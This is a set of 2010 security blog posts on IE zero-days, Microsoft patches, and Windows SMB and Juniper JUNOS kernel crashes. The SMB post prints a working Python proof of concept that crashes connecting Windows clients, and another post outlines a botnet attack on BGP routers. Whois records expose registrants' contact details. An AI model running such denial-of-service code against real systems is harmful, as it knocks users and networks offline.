We posted an aside yesterday citing Microsoft’s recent blog post for new security advisory 981374 referencing a new zero day vulnerability in Internet Explorer versions 6 and 7. New details have emerged since, and the exploit has moved from being what was described as part of “limited targeted attacks” to being widely accessible and available as a new module for the Metasploit framework.

The major concern as always with vulnerabilities like this one is that the user needs only to visit a web site hosting the exploit to have their computer infected (there is no visible sign of a download or other user interaction required).

The vulnerability is a use after free vulnerability (memory is deallocated but then later accessed causing unexpected results such as a crash or arbitrary code execution) where an invalid reference is made to a freed pointer in the file iepeers.dll. This type of code error is fairly common, this is the second major instance of this type of error in Internet Explorer recently (with the well publicized ‘Google Aurora’ attack being associated with a similar type of code defect in the popular browser).

In terms of impact, together these two versions of IE account for approximately 20% of the browser market share. Microsoft has referenced protected mode, enabling Data Execution Prevention (DEP), and not running as a high privilege user (admin) as possible mitigating steps. While always a good idea, we’ve seen in the past methods that allow both DEP and protected mode to be bypassed. In terms of user privileges, its never a good idea to browse the Internet as a high privilege user, however user escalation vulnerabilities can be employed by the attacker once access is gained to the computer. The net of this is that the most effective mitigations available are to, if you are very concerned, temporarily use a different browser and that a patch be made available in a timely manner by Microsoft.

The Exploit

As provided by Trancer (Moshe Ben Abu) with modifications to the original that unobfusticate portions of code and remove the malware payload:

The Attack

The specific attack noticed on a web site (now down) called Topix21century.com occurs as follows:

• A user visits the web site, and a file called notes.exe or svohost.exe is downloaded and executed (drive by download).
• This executable creates two copies of itself in the /temp directory and drops a .dll file which is then injected into the process for Internet Explorer, providing back door remote access to the computer for the attacker.
• Once the attacker is in the system, he or she can perform actions as the user including attempting to escalate privileges, downloading files, etc..
• Activity was noted by McAfee where the infected system attempts to create an SSL connection to communicate with the domain: notes.topix21century.com.

Topix21century.com

The only references to this topix21century.com site we noted are links in Japanese language forums referencing pictures of women in the Japanese Self-Defense Force.

The site is hosted on ISP GoDaddy, a geolocation lookup on the IP (68.178.232.100) shows a location of Scottsdale, Arizona.

The whois for the site hosting the exploit is as follows:

Registrant:
   jack lee
   13block
   LA, California 55462
   United States

   Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
   Domain Name: TOPIX21CENTURY.COM
      Created on: 06-Mar-10
      Expires on: 06-Mar-11
      Last Updated on: 06-Mar-10

   Administrative Contact:
      lee, jack  robertwanger@aol.com
      13block
      LA, California 55462
      United States
      (818) 581-6872      Fax -- 

   Technical Contact:
      lee, jack  robertwanger@aol.com
      13block
      LA, California 55462
      United States
      (818) 581-6872      Fax -- 

   Domain servers in listed order:
      NS17.DOMAINCONTROL.COM
      NS18.DOMAINCONTROL.COM

A similar registrar entry is listed for the domain hotgreenlight.com, currently a parked domain:

Registrant:
   thomason lee
   12block
   LA, California 95512
   United States

   Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
   Domain Name: HOTGREENLIGHT.COM
      Created on: 18-Dec-09
      Expires on: 18-Dec-10
      Last Updated on: 18-Dec-09

   Administrative Contact:
      lee, thomason  robert.wanger@hotmail.com
      12block
      LA, California 95512
      United States
      (626) 395-6544      Fax -- 

   Technical Contact:
      lee, thomason  robert.wanger@hotmail.com
      12block
      LA, California 95512
      United States
      (626) 395-6544      Fax -- 

   Domain servers in listed order:
      NS61.DOMAINCONTROL.COM
      NS62.DOMAINCONTROL.COM

McAfee and Blame? (Update 03/11)

For some silly reason, McAfee Labs is eating some blame over being transparent and informative in their Avert Labs post on Tuesday. When Israeli security researcher Moshe Ben Abu (who is a legitimate security researcher not some shadowy underworld black hat) noticed the post had a URL reference to Topix21century.com, he went and had a look at the site, analyzed how the exploit worked, and made a contribution to the Metasploit project detailing how the exploit functions.

Or put another way, he analyzed an existing exploit being used by attackers and took the time to explain it. He didn’t invent it, use it to compromise computers, or any other related black hat activity. Some will argue that he amplified its effect, something that would require an entire blog post to dispute, so we won’t get into it here.

Ryan Naraine highlights this flow, but passes no judgment on it in an article on ZD Net. Unfortunately fellow CNET journalist Elinor Mills takes it a step further, suggesting by inference (by asking McAfee to “respond”) that the anti-virus company has some culpability here, to which McAfee responded:

“McAfee Labs does not support the release of exploit code, particularly in advance of a security patch being made available. We regularly sanitize blog content to prevent providing information that might assist attackers, while at the same time providing a service to customers and the security community to help improve protection levels,” the spokesman said in a statement via e-mail. “The post in question did not contain enough information to directly lead anyone to exploit code. However, we regret that in this unique situation the post did contain details that may have given exploit writers a starting point to hunt for exploit code. Future blog posts will be subject to additional sanitization.”

Such “sanitization”, a great Orwellian word, means that blog posts will be slower to publish (going through further ‘review’ cycles) and contain a less complete picture of what has happened. Interestingly, since McAfee does not have the Amazing Kreskin working for them, they get information like everyone else, by having customers or related parties share it with them (presumably in un-sanitized form).

For anyone who hangs around in black/gray hat discussion forums, you don’t see Plato’s dialogues going on in there, but you do note that the yin side of the information security paradigm is pretty good at disseminating vulnerability information post discovery.

Worse yet, the response is contradictory, stating on one hand that the information in the post was appropriate and did not assist “attackers” (Abu is still not an attacker, so assuming they mean groups working off the Metasploit module), but then reverses itself and says they regret the post and will ’sanitize’ more in the future.

The problem is that the analysis of the exploit had a lot more to do with the analytical talent of Abu and not a whole lot to do with the somewhat refreshing transparency that has marked McAfee’s blogs since the Google Aurora incident. Unfortunately, looking at the response above, this period of valuable content may be at this corporate censored end.

Further, as Abu himself points out, he would have found the exploit code anyway regardless of any McAfee post.

Finally

The timing of this could be better for Microsoft, in that this closely follows the Aurora incident with Google that played out so publicly, and the defect is a nearly identical type of problem. That said, the saving grace for Microsoft in the retail market is that the IE 8 code is stated to not be affected, and Redmond would prefer you upgrade to the latest and greatest anyway.

The anti-virus vendors largely have the original payload on this one figured out, but unfortunately the payload can be changed as the infection vector is the thing to worry about. For that to be corrected, Microsoft will have to issue a patch. You do have the option of temporarily using another browser, or alternatively upgrading to IE version 8, which is currently reported to not be affected.

This advice is reasonable for the home user, however upgrading the browser on a large corporate network is no small thing. For that reason we advise waiting for the patch, and applying it within a shortened cycle, as in terms of vulnerabilities, remote browser exploits that require no user interaction are somewhat critical problems. As always, users should avoid links to sites they’re not familiar with, but in practice this is very difficult as almost everyone is susceptible to some form of an effective social engineering trick (a targeted phishing e-mail or IM seemingly from a friend and so forth).

Regarding the tempest in a teapot around the the McAfee Avert Labs blog post by Craig Schmugar and the responses of a tired drumbeat of worn out points around responsible disclosure, its time for some in the security industry to grow up a little bit. Transparency and the near free flow of shared information are the only way the defensive side of information security can hope to catch up to the attackers.

References

• CVE-2010-0806
• OSVDB 62810
• MSFT Security Advisory 981374
• Targeted Internet Explorer Zero-Day – McAfee Labs
• Microsoft Internet Explorer iepeers.dll use-after-free exploit

Related Posts:

• Press F1 for Help, pwned.
• The “Aurora” IE Exploit Used Against Google in Action
• Windows 7 SMB Kernel Crash Video
• Juniper Kernel Crash – scapy Code
• JUNOS (Juniper) Kernel Crash Video

Today is patch Tuesday for February 2010, and it marks a fairly busy patch cycle for Microsoft, who released thirteen updates today. In late January, there was an out-of-band release for two critical patches, in response to the high profile issue around the Internet Explorer Aurora exploit. This makes a total of fifteen total patches between since January’s patch Tuesday.

ID: MS10-006
Title: Vulnerabilities in SMB Client Could Allow Remote Code Execution
Microsoft Severity: Critical

Summary: The update addresses a pool corruption issue and a race condition issue with the Server Message Blocks (SMB) client. The SMB client is responsible for client requests to network file shares. An attacker can obtain remote execution by hosting and directing a user to a malicious SMB share.

Praetorian’s Recommendation: The attack requires the client to establish an SMB connection outbound. If you enforce proper egress rules on your firewall, blocking outbound SMB traffic, you are mitigating external threats and the update is less critical. If you allow all ports outbound, apply this patch across all Windows versions as soon as possible.

ID: MS10-007
Title: Vulnerability in Windows Shell Handler Could Allow Remote Code Execution
Microsoft Severity: Critical

Summary: A validation input bug exists in the ShellExecute API in Windows 2000, Windows XP, and Windows Server 2003. The vulnerability can allow attackers to execute code as the logged-in user.

Praetorian’s Recommendation: For Windows XP, Windows 2000, and Windows Server 2003, update as soon as possible as this vulnerability allows for remote code execution and there are no workarounds outside of the update. For Windows Vista, Windows 7, and Windows Server 2008, please see MS10-002.

ID: MS10-008
Title: Cumulative Security Update of ActiveX Kill Bit
Microsoft Severity: Critical

Summary: A vulnerability in the Data Analyzer Active-X Control can lead to remote execution. An attacker can host a malicious website to exploit the vulnerability and execute code with the privileges of the logged-in user. In addition, this update includes several kill bits (prevention of loading the ActiveX control) recommended by software vendors, such as Symantec, Google, and Facebook.

Praetorian’s Recommendation: Update Windows XP and Windows 2000 as soon as possible. Server platforms have tighter default browsing restrictions, but should still be updated during your next server patch cycle, especially in Terminal Server / Citrix environments. There is a registry setting available to prevent the browser from instantiating the COM object (known as setting the kill bit), but this requires entering the Class ID of the object, therefore the simpler approach of installing the update is recommended.

ID: MS10-009
Title: Vulnerabilities in Windows TCP/IP Could Allow Remote Code Execution
Microsoft Severity: Critical

Summary: This update addresses several issues in Windows TCP/IP. Two of them a vulnerabilities in ICMPv6 which allow remote code execution, one is a vulnerability when using custom network drivers that support header MDL fragmentation, and lastly a denial of service vulnerability in TCP/IP due to mishandling malformed selective acknowledgement (SACK) packets. These vulnerabilities affect Windows Vista and Windows Server 2008 (R1 only).

Praetorian’s Recommendation: Microsoft calls this update critical due to the remote execution but there are many “ifs”. The ICMPv6 vulnerabilities can only be affected if you allow ICMPv6 traffic through your firewall and if your network infrastructure supports IPv6 or the tunneling of IPv6 over the IPv4 network. The incorrect handling of malformed SACK packets causes a denial of service. An attacker would have to host a service to accept the TCP connection, such as a website, and send the malformed SACK packet to the connecting client. With these caveats, the rating should be moderate or important. If you meet the requirements for the ICMPv6 vulnerabilities, then you should update as soon as possible.

ID: MS10-013
Title: Vulnerability in Microsoft DirectShow Could Allow Remote Code Execution
Microsoft Severity: Critical

Summary: A vulnerability exists in the way that DirectShow parses AVI files. An attacker can lead a victim via phishing techniques or a malicious website to open a specially crafted AVI file. The attacker can gain remote execution with the same rights as the logged-in user.

Praetorian’s Recommendation: All versions of Windows are affected by this vulnerability and should be patched as soon as possible. Since it is less likely that AVI files would be played on server platforms, the workstations and terminal server / Citrix environments should be the priority.

ID: MS10-003
Title: Vulnerability in Microsoft Office (MSO) Could Allow Remote Code Execution
Microsoft Severity: Important

Summary: A vulnerability exists in Office XP and Office 2004 for Mac which can lead to remote code execution. A victim would need to open a malicious Office file to be attacked.

Praetorian’s Recommendation: This is rated critical due to the remote code execution. Vulnerabilities like this remind us how important user awareness training is for firms. A victim would have to open an Office file that is sent via email by an attacker or hosted on a malicious site. In a browser, the user would be prompted if they want to open the Office file in cases where they are sent a link or redirected. User awareness is important in that users must be trained not to open attachments sent from unknown sources. The criticality of the update may depend on how diligent your users are in prompting IT support before opening suspicious content. Note that only Office XP and Office 2004 for Mac are affected.

ID: MS10-004
Title: Vulnerabilities in Microsoft Office PowerPoint Could Allow Remote Code Execution
Microsoft Severity: Important

Summary: This update addresses six remote code execution vulnerabilities in PowerPoint versions included in Office XP, Office 2003, and Office 2004 for Mac.

Praetorian’s Recommendation: Similar to MS10-003, this is rated critical due to remote code execution. The victim would need to open a PowerPoint document with an affected version to be compromised. In environments where these versions are in use and users are likely to open PowerPoint files from unknown websites or emails, the recommendation is to patch as soon as possible.

ID: MS10-010
Title: Vulnerability in Windows Server 2008 Hyper-V Could Allow Denial of Service
Microsoft Severity: Important

Summary: This update addresses a denial of service vulnerability in Hyper-V in Windows 2008 64-bit and Windows 2008 R2 Server versions. The denial of service affects the host operating system, which in turn would bring down any guests.

Praetorian’s Recommendation: The recommendation is to apply the patch during your next patch cycle. This vulnerability would be difficult to exploit in properly managed server environments and would require valid credentials to the Hyper-V server.

ID: MS10-011
Title: Vulnerability in Windows Client/Server Run-time Subsystem Could Allow Elevation of Privilege
Microsoft Severity: Important
My Severity:

Summary: This update addresses a bug in CSRSS (Client/Server Run-time Subsystem) which leads to local privilege elevation.

Praetorian’s Recommendation: The potential with this vulnerability is for a user who has credentials and is logged in can gain kernel or system level privileges. The vulnerability can not be executed remotely. This update can be included in your normal patch cycle and is not deemed critical.

ID: MS10-012
Title: Vulnerabilities in SMB Server Could Allow Remote Code Execution
Microsoft Severity: Important

Summary: This update addresses four issues in the SMB protocol across all versions of Windows. The Pathname Overflow vulnerability can lead to remote code execution but requires authentication. The memory corruption and null pointer vulnerability can lead to denial of service, and the NTLM authentication lack of entropy can lead to unauthenticated elevation of privileges.

Praetorian’s Recommendation: Keeping patches up to date is important in any environment, but these SMB updates provide a very important reminder that egress firewall rules should be just as important to firms as ingress rules. The SMB protocol (port 445) as a best practice should be blocked inbound and outbound. Many of the recent SMB vulnerabilities affect the SMB client, which means the attacker will direct the victim to attampt a SMB client connection to a malicious server. This is not possible if your firewall blocks SMB outbound.

ID: MS10-014
Title: Vulnerability in Kerberos Could Allow Denial of Service
Microsoft Severity: Important
My Severity:

Summary: This update addresses a denial of service vulnerability due to improper handling of Ticket-Granting-Ticket renewal requests by a client on a remote, non-Windows realm in a mixed-mode Kerberos implementation. Only Windows Server operating systems (2000, 2003, 2008) are affected and only domain controllers.

Praetorian’s Recommendation: This vulnerability requires the client sending the malformed request to be on a remote and non-Windows kerberos realm, which is very a specific setup. If your environment has a non-Windows based kerberos realm, this update can be included as part of your regular patch cycle, and is not critical for immediate action.

ID: MS10-015
Title: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege
Microsoft Severity:Important

Summary: This update addresses two issues in the Windows kernel affecting all version of Windows except Windows 7 64-bit and Windows Server R2. The vulnerability leads to elevation of privileges.

Praetorian’s Recommendation: A user must be authenticated to with valid logon credentials to exploit this vulnerability; a remote or anonymous exploit is not possible. This update can be included as part of your regular patch cycle, and is not critical for immediate action

ID: MS10-005
Title: Vulnerability in Microsoft Paint Could Allow Remote Code Execution
Microsoft Severity: Moderate

Summary: This update addresses a vulnerability in MS Paint which can lead to remote code execution. Windows 200, Windows XP, and Windows Server 2003 are affected. A malicious JPEG can be crafted to exploit this vulnerability.

Praetorian’s Recommendation: By default, Windows uses the Windows Picture and Fax Viewer when opening JPEG files. An attacker would need to convince the user to open the specific malicious JPEG file in Microsoft Paint.

Related Posts:

• March’s Patch Tuesday

The big news hit earlier this week that the attack vector that allowed bad actors presumably from China into the networks of Google, Juniper, Adobe, and some 29 other firms was an Internet Explorer zero day, a use after free vulnerability on an invalid pointer reference affecting IE 6, 7, and 8 but only used by attackers on IE 6 according to Microsoft. Per Microsoft’s Advisory 979352: “In a specially-crafted attack, in attempting to access a freed object, Internet Explorer can be caused to allow remote code execution. Earlier today this entry from yesterday at Wepawet (an online analysis engine for malware) was pointed out to H.D. Moore, and within hours Metasploit has an exploit of the vulnerability integrated. McAfee has confirmed that the exploit is out and the same one they saw during the investigation. The video below demonstrates how crackers initially gained access to the corporate networks of Google, et al. using this zero day attack.

Here It Is

The video below demonstrates how Google and the rest have been, according to most news reports, exploited via the “Aurora” vulnerability in Internet Explorer, and had their “intellectual property” taken.

In the video you will see Metasploit set up a listening session, set up a web site that serves up the malicious code, and watch as an unsuspecting user visits the web site, triggers the attack that uses the IE vulnerability, and unknowingly opens a connection to a computer owned by the attacker. The attacker then lists the user’s processes, and elects to kill Notepad where the user was working on an important document. IE 6.0 is used, as this is the version Microsoft references as having been used in the “targeted attacks” on some 30+ U.S. companies.

A silly example for demonstration to be sure, but once the backdoor is open to the user’s PC the attacker can use it as a pivot point for other attacks against the internal network, escalate his or her privileges, take information off the PC, basically do anything the user can do.

The Vector

The attack scenario is that users were pointed to a web site (probably through a targeted Spam e-mail, an attack called spear phishing) containing a JavaScript that references this invalid pointer and injects the included shell code. The code below was released publicly yesterday.

Update

• Ahmed Obied has published a clean python version of the exploit (opens your Windows Calculator) for testing also: ie_aurora.py.
• CVE-2010-0249 has been opened for this issue.

Finally

“At this time, we are aware of limited, active attacks attempting to use this vulnerability against Internet Explorer 6. We have not seen attacks against other affected versions of Internet Explorer.” – Microsoft.

This situation has the potential to change rapidly now that it appears the exploit has been found. Microsoft last patched a vulnerability off cycle in July of 2009, they could elect to pursue the same response here.

Or as McAfee correctly opines: “What started out as a sophisticated targeted attack is likely to lead to large-scale attacks on vulnerable Microsoft Internet Explorer users.”

Related Posts:

• IEPeers – A New Internet Explorer Zero Day Vulnerability
• Press F1 for Help, pwned.
• Scareware Purveyors, Spammers, and Crooks Take Advantage of Haiti Earthquake
• Windows 7 SMB Kernel Crash Video
• Baidu.com the Latest Victim of Iranian CyberArmy

Back on November 11th, 2009 we confirmed Laurent Gaffié’s remote exploit for Windows that causes a kernel crash. The operating system actually freezes creating a denial of service when, for example, a user is tricked into clicking on a link on a web page to a malicious SMB share request. The SMB client goes into an infinite loop when processing this malformed request according to Microsoft. The video below demonstrates this effect, having a user click a web site link and showing the crash.

“We are not aware of any active attacks using the exploit code that was made public for this vulnerability”
Jerry Bryant, Microsoft

Microsoft discusses this problem under Security Advisory 977544. The Security Response Center (MSRC) blog announced last Thursday that it would not correct this bug in this month’s patch release. The MSFT advisory initially discusses ingress rules for firewalls (rules for requests coming from the Internet) under mitigating factors, which would not be helpful in the case of a user making the request by clicking a link. It then catches this though under ‘Workarounds’ by stating to “block all SMB communications to and from the Internet to help prevent attacks”, which is a correct approach.

Windows 7 SMB Crash Video

People seem to be having a hard time visualizing this attack. The video below demonstrates first the crash itself, and then simulates a user clicking a link to a malformed SMB request.

Test Code

Here is the Python code used for testing, based on Gaffie’s original post:

import SocketServer as a
packet = "\x00\x00\x00\x9a"
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
class x(a.BaseRequestHandler):
  def handle(s):
      print "You connecting to me: %s"%(s.client_address[0])
      i = s.request.recv(1024)
      s.request.send(packet)
      s.request.close()
print "Waiting for the victim to connect to my open port 445"
launch = a.TCPServer(('', 445),x)
launch.serve_forever()

SMB

Server Message Block or SMB is an application-layer network protocol commonly used by Microsoft Windows to share files over the Local Area Network (LAN).

Finally

Many ISP’s will block requests associated with the SMB protocol for home broadband Internet connections in reaction to past remote threats that use the SMB port. For businesses, unless good egress rules are in place (many times they are not), this attack is a realistic threat. Good egress rules will block it, and should already be in place for other potential threats if not already there. This provides a good excuse to check.

Microsoft has yet to release a scheduled fix date for this. While not as problematic as say an exploit that allows for code injection, a remotely exploitable DOS attack that remains announced and in zero day status for more than two months likely does merit attention in February’s patch Tuesday release.

Related Posts:

• IEPeers – A New Internet Explorer Zero Day Vulnerability
• Press F1 for Help, pwned.
• The “Aurora” IE Exploit Used Against Google in Action
• Juniper Kernel Crash – scapy Code
• JUNOS (Juniper) Kernel Crash Video

We have noted some interesting responses since our post yesterday detailing the information in Juniper bulletin PSN-2010-01-623 and our thoughts on its somewhat understated effect. Since our post yesterday, the bulletin has been updated, becoming more specific about the versions affected (basically excluding JUNOS version 10.x and versions no longer supported by Juniper). We’ve been quoted here and there saying that the potential worst case scenario with this flaw could have been widespread Internet outages (not overstatement in our opinion), and that such a simple attack that escapes filtering and can reboot high end routers is a big deal. We have tested sending all 256 permutations of the Options field in the TCP header to a vulnerable Juniper router operating system, found the correct value, and reproduced the kernel crash, which is demonstrated in the video below.

SCAPY was used to send the packets used in the test.

Responses to Our Original Post

The Bizarre

We’ve seen kind of off the wall responses, like this one:

It seems like this isn’t as major as they say. Sure it’s a kernel crash, but it requires a packet to be sent to a listening port. I doubt any core routers have any ports open to the public internet at all.

In order for a router to function as a router, some TCP ports must be open. The BGP port will be open on a core router. So yes, a core router will not have ports open to the public Internet. The BGP port however will be open to neighbors, and a packet that cannot be filtered negates ACL rules preventing access by anyone but neighbors. At a high level, that is how high end equipment is affected.

The Official

We saw the response from Juniper we talked about yesterday repeated again today, which continues to leave something to be desired: A Juniper spokeswoman declined to provide more technical details on the issue, saying that the company only passes on this information to customers and partners. The advisory was one of seven issued recently by the company, she said via e-mail.

Yes, there were seven advisories. Six were somewhat less interesting than one of them:

• PSN-2010-01-627 – RPD cores when injected with malformed PIM messages – (As it is not commonly used over the Internet, this issue is confined to the organizations that are running PIM internally)
• PSN-2010-01-626 – BGP Malformed AS-4 Byte Transitive Attributes Drop BGP Sessions – (If you are running an affected version (there aren’t many), upgrade ASAP.)
• PSN-2010-01-625 – Invalid RSVP packet causes RPD process busy loop and router becomes unresponsive – (RSVP is used almost excursively inside a services providers network as part of a larger MPLS Traffic Engineering solution. Due to the use of MPLS VPN’s, RSVP in this environment is not exposed to transit traffic or from within the VPN’s. The exposure of this is much lower.)
• PSN-2010-01-624 – Unauthorized user can obtain root access using cli – (Any access escalation issue is a big problem, but in this case for routers, if someone else is able to login and get console access you have other problems that need to be addressed.)
• PSN-2010-01-623 – JUNOS kernel cores when it receives an crafted TCP option. – (Not so good.)
• PSN-2010-01-622 – as-path-prepend and specific length AS_PATH we can cause a Juniper to send corrupted update packets to eBGP neighbors – (BGP as-path-prepend router level configuration that can be corrected by making changes to the config.)
• PSN-2010-01-621 Crafted RSVP Path Object Overloads the RPD Process – (RSVP is used almost exclusively inside a service providers network as part of a larger MPLS Traffic Engineering solution. Due to the use of MPLS VPN’s RSVP in this environment is not exposed to transit traffic or from traffic within the VPN’s. The exposure of this problem is lower.)

Unofficial, but from Juniper Anyway

We received a response from Matt at Juniper in the comment section of the original post, which we appreciated. He tightened the versions affected information, by noting the mistake in the original Juniper bulletin that stated version 10.x was affected.

Again, thanks for the update Matt.

Another Unofficial, but from Juniper Anyway

JuniperPhilly responds in the comments of the Register article as follows:

it’s probably not as bad as you might think- All Junos software releases built on or after January 28, 2009 have fixed this specific issue. In short, we fixed this particular problem about 350 days ago. …. Disclaimer: I work for Juniper as a Systems Engineer.

Well, sort of. The criticality of the defect was certainly reclassified, so the fix made a while back actually seems divorced from the discovery that this problem leads to a kernel crash based on a remote exploit. The Juniper advisory itself reads this way, suggesting that the fix was made without knowing that it was a fix for a remote exploit. This is not that uncommon, problems are fixed for one reason, without ever knowing there was an even better reason for correcting it.

But routers, especially high capacity ones, are only patched for serious reasons. So a defect identified but not reported in the same way back in January 2009 does not carry the affect of releasing a bulletin labeled critical yesterday. The second makes people maintaining those routers move, as the example below shows.

Qwest, like other backbone providers, doesn’t have unannounced outages for unspecified security concerns over “not as bad as you might think” issues:

Date: 2010-01-07 10:04:08 GMT (15 hours and 1 minute ago)
We just had a qwest outage of about 2 mins at 1:41am pst. When I called 
to report it I was told it was a 200+ emergency software upgrade due to 
a security concern, and that we will get a notice later after the fact. 
Normally we get notices in advance, even for software upgrades due to 
security or other important issues, so I am curious if other qwest 
customers had the same experience and wether this is how it's going to 
be from here on in? The affected platform was juniper and I'd love to 
know the specfic case being addressed here.

Mike-

Source: http://thread.gmane.org/gmane.org.operators.nanog/71244

This thread actually produced interesting responses regarding how the actual notification was published after the outage:

• My QWest account manager called three different people at my business 7hrs before the maintenance. Also mentioned the Juniper Security Advisories. – Joe
• We also got email notifications about ‘emergency maintenance’ on our Qwest circuits, from their notice: Reason For Maintenance: EMERGENCY MAINTENANCE TO IMPLEMENT A SOFTWARE PATCH FOR NETWORK RELIABILITY – Ken
• Yeah, they refused to notify due to security concerns from what they told me last night. Notification was performed after maintenance was complete. -Jack
• Same thing for us in Minnesota. Brief outage and emergency outage notification came after the outage. -Dylan
• Notices were left at the discretion of Qwest account teams. There was no mass notification. -Jason

The thread link above contains this and the rest of this particular discussion.

The Newsgroups

We were told the problem wasn’t corroborated by discussions in newsgroups. It started showing up today:

• qwest outage no notice
• JUNOS vulnerability with malformed TCP packets
• vulnerability fix not available for 8.5 ?
• JUNOS vulnerability with malformed TCP packets

Yeah but Cisco makes the Core Routers

Sigh…

Not to become public relations for Juniper, but:

The innovations listed above, as well as many others, have helped the T Series become the industry’s most widely deployed core routing family. Juniper has shipped over 5000 T Series to more than 220 customers around the world — including more than 500 T1600s in just over a year of availability. According to Synergy Research, in the past five years, Juniper’s share of the core routing market has grown by 44 percent — with the company gaining 11 points of share as others have seen share declines.
Source: http://www.juniper.net/us/en/company/press-center/press-releases/2009/pr_2009_06_08-09_00.html

And the following line from the same press release: All of these platforms are powered by JUNOS® Software, a single operating system integrating routing, switching, security and network services from Juniper Networks.

What about Anti-spoofing and egress filtering

(Comments From: ANTON DELPORT)

One thing that will also be required for a successful attacked would be spoofed IP packets. 
Keep in mind that most ISP follow the best practice guidelines and implement ACL and 
anti-spoofing. So yes, the router will listen to BGP port but only for a small range 
of prefixes. If the source address (and destination) is not correct, the packet will
be dropped in hardware before it can do any damage.

Anti-spoofing and egress filtering as recommended by BCP 38 is to help mitigate this issue for routers that are not at the edge. It does nothing to help the edge routers themselves. Example:

• Service provider Alice peers with service provider Bob in NYC.
• Alice’s edge router (10.10.10.1/30) exchanges routes with Bob’s edge router (10.10.10.2/30) via BGP
• Bad actor Charlie sends a JunOS rebooting packets from inside Alice’s network to 10.10.10.2
• The best path from with in Alice’s network to reaching 10.10.10.2 will most likely be the peering connection in NYC.
• The packet will NOT be stopped within Alice’s network as it has a valid return and destination address.
• Bob’s edge router is NOT able to filter any of the JunOS rebooting packets due to ACL’s not having any effect on this issue.
• Even if the bad actor Charlie is several networks away from Bob, should his packet pass through Alice’s network, it will hit Bob’s edge and cause the same harm.

The reason why this issue is real is that I can identify border networks simply with traceroute, and I know that BGP is used to exchange routes. Given this information there is nothing to protect providers if they are running an affected version of the software at the edge of their network.

Finally

So people are attaching viewpoints to this problem that don’t entirely make sense. A high end router is not the same as your local Microsoft Windows OS, it doesn’t get updated every month following Tuesday, it gets updated when a network administrator determines there is a problem severe enough to warrant an outage to make the patch update. Many of the “big iron” routers that would have been affected had this been out in the wild (which as far as we know its not yet) were not patched as of Monday, and from all appearances were patched as of late Tuesday.

Juniper is a major player in the high end router market, it is not a one player market. If an unpatched Juniper router were hit with this packet, it would crash.

But let’s walk through a thought experiment for the “this wouldn’t have been a big deal if uncorrected” crowd:

Watch the video above, the OS reboot takes a while on a virtual machine (big routers take longer). Imagine a bot net being rented to run the program that was developed for the video above at a certain time (say midnight). Conceive of the bad actor identifying boundary routers between service providers (traceroute), and sending the crafted packet to the BGP port of both side’s IP addresses, rebooting boxes, and severing BGP connections. Even after reboot, the effects are magnified as a BGP convergence happens globally.

You can rent a decent size botnet on the Internet right now if you like. The program above that found the right option to send took a couple hours to write (on and off with other things going on), the actual option field that causes the problem identified fairly quickly after that. The second program that sends the packet is just a small python script.

This hypothetical scenario would have been a long day on the old Intertubes. I’m sure there are details to be worked out (if you crash enough gateways, can you continue the attack?), but you get the idea.

So let’s be realistic as we go into the automatic “nothing is ever really a big issue, everything is FUD” reactive mode that so often follows news in information security. Remote exploits are still bad. Ones that cause kernel crashes are still bad. Remote exploits that cause kernel crashes in one of the most widely used network operating systems in the world are bad. Identifying security issues that are critical, responding to them appropriately, sending out bulletins with appropriate CVSS ratings, and avoiding big potential problems like this, are good. We can’t call it a total win (its not hard to find the option value, and so this could enter the wild shortly), but it looks from the outside like large providers have taken preventative steps to be prepared.

And if anyone else noticed Twitter seemed to have its own blackout, of Juniper personnel, as none of them have been tweeting a whole lot this week.

Related Posts:

• IEPeers – A New Internet Explorer Zero Day Vulnerability
• Press F1 for Help, pwned.
• The “Aurora” IE Exploit Used Against Google in Action
• Windows 7 SMB Kernel Crash Video
• Juniper Kernel Crash – scapy Code

A report has been received from Juniper at 4:25pm under bulletin PSN-2010-01-623 that a crafted malformed TCP field option in the TCP header of a packet will cause the JUNOS kernel to core (crash). In other words the kernel on the network device (gateway router) will crash and reboot if a packet containing this crafted option is received on a listening TCP port. The JUNOS firewall filter is unable to filter a TCP packet with this issue. Juniper claims this issue as exploit was identified during investigation of a vendor interoperability issue.

There is talk that backbone Internet providers have been quickly patching this issue since yesterday night.

TCP Header Option Space

“Options occupy space at the end of the TCP header. All options are included in the checksum. An option may begin on any byte boundary. The TCP header must be padded with zeros to make the header length a multiple of 32 bits.” (Source: http://www.networksorcery.com/enp/protocol/tcp.htm)

The TCP Header

The Kernel

At a high level, the kernel in an operating system serves as the bridge between applications and the actual data processing of the hardware the OS is running on. The kernel manages system resources and abstracts resources that applications must access.

Basic Kernel Representation

Affected Devices

It is basically all of them save the more recent version. If you’ve installed a device with a JUNOS release version released later then 1/28/09, this issue is already corrected. Apparently the original issue and its correction did not conceive of this problem as a security vulnerability, and thus the criticality of applying the patch was not initially understood until this week.

• JUNOS 10.x (Removed from the bulletin today, 01/07/09, so assumed to not be affected)
• JUNOS 9.x
• JUNOS 7.x
• JUNOS 8.x

Please note the versions below were removed from the bulletin today, 01/07/09. This is likely because, as Matt pointed out below, these are end of life versions of the OS (meaning likely still vulnerable if you happen to be running them, but out of scope for Juniper because from their standpoint these should already have been upgraded).

• JUNOS 6.x
• JUNOS 5.x
• JUNOS 3.x
• JUNOS 4.x

Juniper’s Advice

Juniper references best common practice (BCP) 38, a methodology for reducing the amount of bad packets being forwarded by network devices (basically prohibiting packets where the originator can’t effectively be identified), as a possible mitigating control.

However there is no completely effective workaround available other then upgrading the OS.

Update

